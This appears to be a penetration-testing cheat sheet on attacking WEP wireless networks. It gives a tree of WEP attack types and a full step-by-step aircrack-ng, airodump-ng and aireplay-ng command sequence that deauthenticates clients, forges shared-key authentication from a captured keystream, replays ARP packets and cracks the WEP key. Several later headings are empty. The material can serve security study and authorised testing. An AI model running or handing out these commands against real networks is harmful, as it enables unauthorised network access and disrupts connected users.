Attacking WEP

WEP
├── AUTH = OPN
   ├── With client
      ├── # ARP Request Replay Attack
      ├── # Fragmentation Attack
      ├── # Korek Chop Chop Attack
      ├── # Interactive Packet Replay Attack
      ├── # Cafe Latte Attack
      └── # Deauthentication Attack
   └── Without client
       └── # Fake Authentication
           ├──  Fragmentation Attack   ARP Request Replay Attack
           └──  Korek ChopChop Attack  ARP Request Replay Attack
└── AUTH = SKA
    └── With client (required)
        ├── # Deauthentication Attack        (capture SKA keystream)
        ├── # Fake Shared Key Authentication (replay captured keystream)
        └── # ARP Request Replay Attack      (generate IVs)

Bypassing WEP Shared Key Authentication

# AUTH = SKA
# Start monitor mode
airmon-ng start <INTERFACE>
# Packet capture
airodump-ng -w <CAPTURE_NAME> -c <CHANNEL> --bssid <BSSID> <INTERFACE>
# Get your MAC address
macchanger --show <INTERFACE>
# Fake authentication attack (It should failed)
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> <INTERFACE>
# Deauthentication attack (If there is a client)
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>
# Fake shared key authentication using the XOR keystream
aireplay-ng -1 60 -e <ESSID> -y wepshared-<NAME>.xor -a <BSSID> -h <YOUR_MAC> <INTERFACE>
# ARP replay attack
aireplay-ng -3 -b <BSSID> -h <YOUR_MAC> <INTERFACE>
# Deauthentication attack (If there is a client)
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>
# Crack 
aircrack-ng <CAPTURE_NAME>

ARP Request Replay Attack

Fragmentation Attack

Korek Chop Chop Attack

The Cafe Latte Attack

Attacking WEP Access Points Without Clients

Last updated